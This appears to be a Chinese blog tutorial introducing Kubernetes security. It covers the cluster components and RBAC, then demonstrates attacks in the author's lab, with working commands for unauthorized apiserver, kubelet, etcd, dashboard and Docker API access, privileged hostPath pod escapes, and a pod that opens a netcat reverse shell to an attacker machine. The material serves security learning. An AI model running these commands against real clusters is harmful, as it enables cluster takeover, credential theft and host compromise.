k8s安全入门

2022年2月20日 335点热度 0人点赞 0条评论

一、前言

当前互联网向虚拟化发展,容器是重要的组成部分,具有占用资源少部署快的强大优点。比如常见的docker。当容器规模大了以后,就需要对这些容器集群进行编排维护,所以就有了k8s技术。

k8s全称kubernetes,是一个由google开源的,用于自动部署,扩展和管理容器化应用程序的开源系统。通过k8s可跨多台主机进行容器编排、快速按需扩展容器化应用及其资源、对应用实施状况检查、服务发现和负载均衡等。

随着越来越多的企业将业务搬上云,攻防中遇见类似的虚拟化集群场景会越来越多。这里简单介绍下k8s的结构和攻击利用的方式,不算太深,希望给大家遇到的相同场景的时候提供个思路。

二、k8s组件结构简介

我们用一幅图来介绍相关组件。

图片

如图所示,k8s集群由主控节点(Master node,以下简称master)和工作节点(Worker Node,以下简称node)组成:

master节点负责资源调度,调度应用,维护状态和应用扩容等。

node节点上跑着应用服务,每个Node节点有一个kubelet,负责node与master之间的通信。

2.1 Master node组件

1.APIserver

集群统一入口,以restful方式,交给etcd存储。用户端一般通过kubectl命令行工具与kube-apiserver进行交互。

2.Controller-manager

处理集群中常规后台任务,通常一个资源对应一个控制器。

3.Scheduler

节点调度,选择node节点应用部署,负责决定将Pod放在哪个Node上。会对各个节点的负载、性能、数据考虑最优的node。

4.Etcd

存储系统,用于保存集群中相关的数据。

2.2 Worker node组件

5.Kubelet

Master派到node节点的agent,管理本机容器的各种操作。

6.Kube-proxy

提供网络代理,用来实现负载均衡等操作。

7.Pod

是k8s中的最小部署单元,一组容器的集合,一个pod中的容器是共享网络的。主要是基于docker技术来搭建的。

2.3 工作流程

用户端命令下发通常流程如下:

(1)客户端根据用户需求,调用kube-apiserver相应api;

(2)kube-apiserver根据命令类型,联动master节点内的kube-controller-manager和kube-scheduler等组件,通过kubelet进行下发新建容器配置或下发执行命令等给到对应node节点;

(3)node节点与容器进行交互完成下发的命令并返回结果;

(4)master节点最终根据任务类型将结果持久化存储在etcd中。

 

三、k8s的安全机制

访问k8s集群的时候,需要经过三个安全步骤完成具体操作。过程中都要经过apiserver,apiserver做统一协调。

第一步 认证,判断用户是否为能够访问集群的合法用户。

第二步 鉴权,通过鉴权策略决定一个API调用是否合法。

第三步 准入控制,就算通过了上面两步,客户端的调用请求还需要通过准入控制的层层考验,才能获得成功的响应。大致意思就是到了这步还有一个类似acl的列表,如果列表有请求内容,就通过,否则不通。它以插件的形式运行在API Server进程中,会在鉴权阶段之后,对象被持久化etcd之前,拦截API Server的请求,对请求的资源对象执行自定义(校验、修改、拒绝等)操作。

这里说下认证和鉴权。

3.1 认证阶段

认证策略大概有4种:

序号

认证方式

认证凭据

1

匿名认证

Anonymous requests

2

白名单认证

BasicAuth认证

3

Token认证

Webhooks、ServiceAccount Tokens、OpenID Connect Tokens等

4

X509证书认证

clientCA认证,TLS bootstrapping等

匿名认证一般默认是关闭的。

白名单认证一般是服务启动时加载的basic用户配置文件,并且通常没有更多设置的话basic认证仅仅只能访问但是没有操作权限。

token认证更涉及到对集群和pod的操作,这是我们比较关注的。

X509证书认证是kubernetes组件间内部默认使用的认证方式,同时也是kubectl客户端对应的kube-config中经常使用到的访问凭证,是一种比较安全的认证方式。

3.2 鉴权阶段

当API Server内部通过用户认证后,就会执行用户鉴权流程,即通过鉴权策略决定一个API调用是否合法,API Server目前支持以下鉴权策略:

序号

鉴权方式

描述

1

Always

当集群不需要鉴权时选择AlwaysAllow

2

ABAC

基于属性的访问控制

3

RBAC

基于角色的访问控制

4

Node

一种对kubelet进行授权的特殊模式

5

Webhook

通过调用外部REST服务对用户鉴权

Always策略光看描述就知道,生产环境中必定不会存在。

ABAC虽然功能强大,但是难以理解且配置复杂已经被RBAC替代。

RBAC是目前k8s中最主要的鉴权方式。

而Node鉴权策略主要是用于对kubelet发出的请求进行访问控制,限制每个Node只访问它自身运行的Pod及相关Service、Endpoints等信息。

当RBAC无法满足某些特定需求时候,可自行编写鉴权逻辑并通过Webhook方式注册为kubernetes的授权服务,以实现更加复杂的授权规则。

3.3 RBAC、角色、账号、命名空间

这里要着重讲一下RBAC,基于角色的访问控制(Role-Based Access Control)在RBAC中,权限与角色相关联,用户通过成为适当角色的成员而得到这些角色的权限。这就极大地简化了权限的管理。这样管理都是层级相互依赖的,权限赋予给角色,而把角色又赋予用户,这样的权限设计很清楚,管理起来很方便。

图片

在k8s中,只有对角色的权限控制,访问主体都必须通过角色绑定,绑定成k8s集群中对应的角色,然后根据绑定的角色去访问资源。而每种角色又只能访问它所对应的命名空间中的资源。

k8s支持多个虚拟集群,它们底层依赖于同一个物理集群。这些虚拟集群被称为命名空间(namespace)。

每个k8s资源只能在一个命名空间中。命名空间是在多个用户之间划分集群资源的一种方法。

这些名词初看起来比较头疼,我们先看下默认的角色,命名空间有哪些。

kubectl get ns 查看命名空间。

图片

系统默认4个命名空间,分别是:

default--没有指明使用其它名字空间的对象所使用的默认名字空间

kube-system-- Kubernetes 系统创建对象所使用的名字空间

kube-public--此命名空间下的资源可被所有人访问(包括未授权用户)

kube-node-lease--集群之间的心跳维护

我们关注的主要是default和kube-system。

RBAC中一直强调角色,这里角色也分为两种,一种是普通角色role,一种是集群角色clusterrole。

普通角色role用于平常分配给运行的容器,而集群角色更多承担管理工作。

查看普通角色,没有特别指明的话查看都是在default空间中,这里因为没有设置,所以显示找不到。

图片

指定kube-system空间,可以看到很多系统自带的角色。

图片

再来看集群角色。集群角色在default和kube-system中都是一样的。

图片

集群中有个最高权限角色cluster-admin,它的拥有集群所有资源的所有权限。因此如果访问主体绑定到该角色的话,就会引发很大的安全问题,后续说到的未授权访问就是基于此种情形。

图片

普通的admin权限也比较大,但是比起cluster-admin还是差了太多。

图片

如何要绑定账号的话,比如在集群范围将cluster-admin ClusterRole授予用户user1,user2和group1,用以下命令就行。

kubectl create clusterrolebinding cluster-admin --clusterrole=cluster-admin --user=user1 --user=user2 --group=group1

访问主体中除了常用的用户,组以外,还有一类叫做服务账号,service account。service account是k8s为pod内部的进程访问apiserver创建的一种用户。因为是pod里面的,所以也会对应各自的命名空间。

在k8s中设计了一种资源对象叫做Secret,分为两类,其中一类是用于记录ServiceAccount的service-account-token。

我们看看kube-system中的secret存储的serviceaccount信息。

图片

可以看到很多serviceaccount name,每个name下都有3个标识,分别是Token、ca.crt、namespace。

token是使用API Server私钥签名的JWT。用于访问API Server时,Server端认证。

ca.crt,根证书。用于Client端验证API Server发送的证书。

namespace, 标识这个service-account-token的作用域名空间,这里的namespace就是kube-system。

我们着重挑default这个账号来看。

图片

账号名在-token前,就叫default。

我们给这个服务账号绑定角色。

kubectl create clusterrolebinding default-admin --clusterrole=cluster-admin --serviceaccount=kube-system:default

图片

查看绑定,我们把这个账号赋予新角色名default-admin,成功绑定到集群角色cluster-admin了,这就意味着我们的default这个serviceaccount拥有了集群最高权限,自然以它建立的pod也是集群最高权限的pod。

图片

图片

关于RBAC、账号、角色、命名空间的内容就说到这里,如果比较混乱的话结合后面的攻击利用相信会很快理解。

四、k8s的攻击利用

终于枯燥的概念说完了,我们就来说说关于k8s的攻击方式的利用。从前面的概念我们不难看出,k8s的本身还是比较安全的。当前k8s的攻防利用主要以权限配置不当造成未授权来进行攻击,或者是通过容器漏洞进入容器后形成逃逸。

为了演示搭了个环境,后续内容请结合环境的地址和端口观看。

Master节点

192.168.41.22

Worker节点1

192.168.41.23

有一个nginx演示pod

Worker节点2

192.168.41.24

 

4.1 未授权访问

未授权问题是目前k8s存在最多的问题,也是各大公网蠕虫的必争之地。以下是常见的k8s未授权:

未授权访问端口

功能

利用方式

6443,8080

kube-apiserver

未授权访问获取kube-system的token,通过kubectl使用kube-system的token获取pod列表。之后可进一步创建pod或控制已有pod进行命令执行等操作。

10250,10255

kubelet

kubeletctl批量获取pod等信息,尝试获取pod内/var/run/secrets/kubernetes.io/serviceaccoun/的token

2379

etcd

导出全量etcd配置,获取k8s认证证书等关键信息,进而通过kubectl创建恶意pod或控制已有pod,后续可尝试逃逸至宿主机

30000以上

dashboard

配置问题导致可跳过认证进入后台

2375

docker

Docker daemon默认监听2375端口且未鉴权,我们可以利用API来完成Docker客户端能做的所有事情。

 

4.1.1 apiserver未授权访问

apiserver有两个端口,8080和6443。现在的云服务商提供的容器默认已不存在8080端口,主要问题还是在6443端口上。

我们正常访问6443端口,会出现以下情况,我们默认访问的角色就是系统给的anonymous。

图片

当运维人员存在配置不当的情况下,就可能存在将"system:anonymous"用户绑定到"cluster-admin"用户组,从而使6443端口允许匿名用户以管理员权限向集群内部下发指令。

kubectl create clusterrolebinding cluster-system-anonymous --clusterrole=cluster-admin --user=system:anonymous

图片

图片

当我们把system:anonymous绑定到cluster-admin的集群角色时,再来访问。即可看到能访问的内容。

图片

然后访问https://192.168.41.22:6443/api/v1/namespaces/kube-system/secrets/ 获取kube-system命名空间的token信息。

图片

这里有很多token,正好对应前面看到的所有kube-system命名空间中的服务账号。系统自带的服务账号没啥操作权限,你需要寻找运维人员自建的。总之,有admin就找admin,没有的话找个非系统自带账号或者尝试default账号。

为了演示,我给default账号赋予了一个cluster-admin的角色,我们利用它的token看看能做什么事。

kubectl create clusterrolebinding default-admin --clusterrole=cluster-admin --serviceaccount=kube-system:default

图片

图片

图片

拿到了token后,可以在攻击机上安装kubectl工具,然后执行以下命令创建一个test_config,token处填入你获取的 token

touch test_config

kubectl --kubeconfig=./test_config config set-credentials hacker --token=TOKEN

kubectl --kubeconfig=./test_config config set-cluster hacked_cluster --server=https://192.168.41.22:6443/  --insecure-skip-tls-verify

kubectl --kubeconfig=./test_config config set-context test_context --cluster=hacked_cluster --user=hacker

kubectl --kubeconfig=./test_config config use-context test_context

 

通过kubectl加载刚才的config文件执行pod里面的命令

kubectl --kubeconfig=./test_config get nodes -A

图片

看,很轻松就接管了集群,后续直接参考kuectl的操作手册进行操作。

4.1.2 kubelet未授权访问

每一个Node节点都有一个kubelet服务,kubelet监听了10250,10248,10255等端口。

正常情况下访问是这样的:

https://192.168.41.23:10250/pods

图片

为了演示,我把kubelet的配置文件中anonymous认证改成true(默认是false)

图片

重启服务后再次访问。

图片

这个又怎么利用呢?

我们可以在攻击机上下载kubeletctl工具

https://github.com/cyberark/kubeletctl/releases

在攻击机上执行下面命令:

./kubeletctl pods -s 192.168.41.23 --port 10250

图片

可以看到pod,namespace,containers。

使用命令

curl -k https://nodeip:10250/run/$namespace/$POD/$CONTAINERS -d "cmd=ls" --insecure

就能执行pod里容器的命令。

curl -k https://192.168.41.23:10250/run/default/nginx-f89759699-tct4p/nginx -d "cmd=ls" --insecure

图片

图片

既然可以执行容器命令,后续可以尝试容器逃逸,逃逸的方式我们后面再说。

如果实战中发现的是10255端口的未授权而非10250,它是只读端口,无法直接利用在容器中执行命令,但是可以获取环境变量ENV、主进程CMDLINE等信息,里面包含密码和秘钥等敏感信息的概率是很高的,可以快速帮我们在对抗中打开局面。

4.1.3 etcd未授权访问

etcd默认监听了2379等端口,如果2379端口暴露到公网,可能造成敏感信息泄露。etcd若存在未授权,攻击者导出全量etcd配置,获取k8s认证证书等关键配置,进而通过kubectl创建恶意pod或控制已有pod,后续可尝试逃逸至宿主机。

访问https://IP:2379/v2/keys,有内容,类似{“action”:“get”,“node”:{“dir”:true}} 这样的,就确定存在未授权访问。

图片

攻击机从 https://github.com/etcd-io/etcd/releases/ 下载 得到etcdctl。通过如下命令可以遍历所有的key:

ETCDCTL_API=3 ./etcdctl --endpoints=http://IP:2379/ get / --prefix --keys-only

如果服务器启用了https,需要加上两个参数忽略证书校验 --insecure-transport 和--insecure-skip-tls-verify

ETCDCTL_API=3 ./etcdctl --insecure-transport=false --insecure-skip-tls-verify --endpoints=https://IP:2379/ get / --prefix --keys-only

下面的命令,通过v3 API来dump数据库到 output.data

ETCDCTL_API=3 ./etcdctl --insecure-transport=false --insecure-skip-tls-verify --endpoints=https://IP:2379/ get / --prefix --keys-only | sort | uniq | xargs -I{} sh -c 'ETCDCTL_API=3 ./etcdctl --insecure-transport=false --insecure-skip-tls-verify --endpoints=https://IP:2379 get {} >> output.data && echo "" >> output.data'

 

图片

拿到token后跟之前一样创建test_config控制集群

4.1.4 dashboard未授权访问

dashboard是k8s官方的图形化界面。这个有的集群安装有的没安装。端口是30000以上随机的,实战中可以扫一下。

图片

自带鉴权,使用bear token就能登录。在安装dashboard的时候,会默认建立dashboard-admin账号并且分配cluster-admin的角色。

图片

因此在kube-system中找到关键字admin的账号token就能登录dashboard后台。

图片

通过token登入dashboard后台

图片

可以后台写入yaml文件创建特权pod

图片

前面也讲过,当你渗透的时候找到了这个跟admin相关的token,那基本上就能通过认证了。

dashboard也会有配置不当的时候。在访问ui界面时候存在跳过选项。攻击者可跳过登录,直接进入dashboard web页获取pod和job等状态,并可创建恶意pod,尝试逃逸至宿主机。

图片

4.1.5 docker remote api未授权访问

kubernetes的容器编排技术进行管理构成的docker集群,kubernetes是google开源的容器管理系统,实现基于Docker构建容器,利用kubernetes可以很方便的管理含有多台Docker主机中的容器,将多个docker主机抽象为一个资源,以集群方式管理容器。

当docker配置了Rest api,我们可以通过路径确定是否存在未授权访问。

正常是这样的,端口根本未开放。

图片

我们在docker服务/usr/lib/systemd/system/docker.service中添加这么一行字段。

图片

      重启后再访问。这里仅仅只开放了2375端口,没有动其他权限设置,看起来似乎docker对这个端口没有鉴权。

图片

访问http://IP:2375/info,存在ContainersRunning、DockerRootDir等关键字。

图片

http://IP:2375/containers/json

图片

因此当你有访问到目标Docker API 的网络能力或主机能力的时候,你就拥有了控制当前服务器的能力。我们可以利用Docker API在远程主机上创建一个特权容器,并且挂载主机根目录到容器,对主机进行进一步的渗透。

docker -H tcp://192.168.41.27:2375 ps

图片

docker -H 192.168.41.27:2375 run --rm -it --privileged --net=host -v /:/mnt alpine

图片

最终逃逸完成,控制docker宿主机。

以上就是关于k8s未授权访问的一些简单介绍,还有kubectl proxy的未授权,总体也是利用token的思路,就不废篇幅说明了。

4.2 创建特权pod逃逸

这里逃逸说两种,一种是常见的特权容器内挂载mount device,一种是利用大权限的serviceAccount的token来创建特权容器。

4.2.1 容器内的mount device

我们拿到一个web权限时,可能是运行在pod里的服务。如果运维人员权限配置不当的话可以通过pod逃逸到宿主机。

首先查看pod信息。

图片

kubectl exec -it <pod name> 进入容器的bash环境,这里看作为是某个漏洞反弹出来的shell。

图片

cat /proc/1/cgroup

查看自己在物理机还是容器里面,这里kube关键字说明是在k8s的pod里。

图片

进入pod后先找下有没有kubectl命令工具,没有的话要上传一个。

图片

另外找台攻击机,在这个地址下载,然后开启http服务上传上去。

curl -LO https://dl.k8s.io/release/v1.23.0/bin/linux/amd64/kubectl

图片

图片

执行kubectl,查看权限,发现结果是no,原因就是rbac默认阻止了你的访问。这里就是能否逃逸的关键点。

图片

为了演示,我们把这个pod提升权限。

先查看下其对应的命名空间和服务账号

图片

可以看到命名空间是default,secretname是default-token-15abc,根据之前我们讲过的,它的服务账号service account就是default。

因此我们在集群范围将cluster-admin ClusterRole授予serviceaccount default,用这条命令开启,角色名随意设置成encdecservice

kubectl create clusterrolebinding encdecservice --clusterrole cluster-admin --serviceaccount=default:default

图片

好了,再次在容器里面查看权限发现已经变成yes了。

图片

所以这也是唯一的必要条件,进入容器后,你的角色允许查看pod和新建pod。当你运行命令显示yes后才有可能往后走。

安装了kubectl后搜集下信息,看下node和pod。这里面看到的跟外面是一样的。

图片

图片

在外面的攻击机上配置新要挂载的pod的yaml文件,一定要注意yaml语法格式和缩进,这里命名为mal-master.yaml。

Image和nodename要跟实际一致,image在decribe中能看到,nodename要自己多搞下信息搜集。

apiVersion: v1

kind: Pod

metadata:

  name: api-server-attack

  labels:

    app: api-server-attack

spec:

  containers:

  - name: api-server-attack

    image: nginx

    imagePullPolicy: IfNotPresent

    volumeMounts:

     - name: hostsvolume

       mountPath: /attacker

    ports:

     - containerPort: 80

    securityContext:

     privileged: true

  nodeName: k8smaster

  volumes:

  - name: hostsvolume

    hostPath:

     path: /

图片

yaml写好后继续通过http方法上传到刚才的pod里

图片

图片

然后就根据mal-master.yaml来创建新的pod

./kubectl create -f mal-master.yaml

图片

查看pods,看到api-server-attack已经建好了

图片

直接进入api-server-attack里面,ls可以看到我们设置挂载的attacker目录

图片

我们在主节点上操作一下,创建文件夹。然后在逃逸pod里面查看同样的目录,结果一样。我们就成功的在pod里面获取到了主节点的信息。

图片

图片

Pod里面操作写入文件,在主节点主机上也能看到。后续就可以写ssh写计划任务获取宿主机shell。

图片

图片

除了master主节点外,node节点也可以用同样的方式。我把node节点的yaml留在这里,剩下的操作一样。如果报错肯定是缩进和空格的问题。建议先搞node节点,node节点不用配置nodename,拿下node节点后,搜集master节点的信息更容易了。

apiVersion: v1

kind: Pod

metadata:

  name: attacker

  labels:

    app: attacker

spec:

  containers:

  - name: attacker

    image: nginx

    imagePullPolicy: IfNotPresent

    volumeMounts:

       - name: hostsvolume

         mountPath: /attacker

    ports:

       - containerPort: 80

    securityContext:

       privileged: true

  volumes:

  - name: hostsvolume

    hostPath:

     path: /

4.2.2 利用大权限的service account创建特权pod

让我们把目光回到我们的4.1.2中,在kubelet未授权中,我们可以在pod里面执行命令。这里为了演示依然把示例的nginxpod设置成cluster-admin角色权限。

我们需要pod里面的service account的token和证书。如果我们在kubelet的未授权访问中获得了这些信息,那可以这样做。

service account的文件在pod内部的/var/run/secrets/kubernetes.io/serviceaccount/ ,这是固定目录。

我们通过kubelet的未授权把token,证书,namespace都保存到k8stest目录。

图片

图片

图片

接下来我们在攻击机上操作。

#指向内部 API 服务器主机名

export APISERVER=https://192.168.41.22:6443

 

#设置 ServiceAccount 令牌的路径

export SERVICEACCOUNT=/root/k8stest

 

#读取 pods 命名空间并将其设置为变量。

export NAMESPACE=$(cat ${SERVICEACCOUNT}/namespace)

 

#读取 ServiceAccount 不记名令牌

export TOKEN=$(cat ${SERVICEACCOUNT}/token)

 

# CACERT 路径

export CACERT=${SERVICEACCOUNT}/ca.crt

 

执行以下命令查看当前集群中所有Namespaces

curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET ${APISERVER}/api/v1/namespaces

有如下正常回显说明设置成功

图片

接下来弄一个反弹的特权pod。

cat > test-pod.yaml << EOF

apiVersion: v1

kind: Pod

metadata:

  name: test1

spec:

  containers:

  - name: busybox

    image: busybox:1.29.2

    command: ["/bin/sh"]

    args: ["-c", "nc 192.168.41.19 8888 -e /bin/sh"]

    volumeMounts:

    - name: host

      mountPath: /host

  volumes:

  - name: host

    hostPath:

      path: /

      type: Directory

EOF

#创建pod,同时攻击机开启监听

curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -k ${APISERVER}/api/v1/namespaces/default/pods -X POST --header 'content-type: application/yaml' --data-binary @test-pod.yaml

等一会儿,攻击上接受到了反弹信息。

图片

192.168.41.23也就是node1节点。

我们在挂载的host目录下操作一下,成功在node1的宿主机上写入文件。

图片

图片

在攻击机上chroot直接逃逸。

图片

图片

五、总结

文中为了演示,所以在权限放宽上做的比较极端。实战中或许碰不到文中的理想环境,但是只要弄清楚各个主体对应的命名空间,角色权限,那么参照文中的操作步骤就能举一反三。

本文都是借鉴前人研究出来的内容自行复现,内容也算不上全面,相比参考的各类文章来说实在算是入门水平,有不正确的地方还请各位读者师傅勘误指正。

 

参考链接

http://docs.kubernetes.org.cn/

https://www.bilibili.com/read/cv14417297?from=search&spm_id_from=333.337.0.0

https://www.bilibili.com/video/BV1GT4y1A756?from=search&seid=1022224329228664473&spm_id_from=333.337.0.0

https://xz.aliyun.com/t/10745

https://xz.aliyun.com/t/4276

https://mp.weixin.qq.com/s/Aq8RrH34PTkmF8lKzdY38g

https://mp.weixin.qq.com/s/qLEjK1sx6P2KG9YgGkxqJg

https://blog.csdn.net/qq_34101364/article/details/122506768

https://www.youtube.com/watch?v=KSBs_8ZGPvs

18450k8s安全入门

root

这个人很懒,什么都没留下

文章评论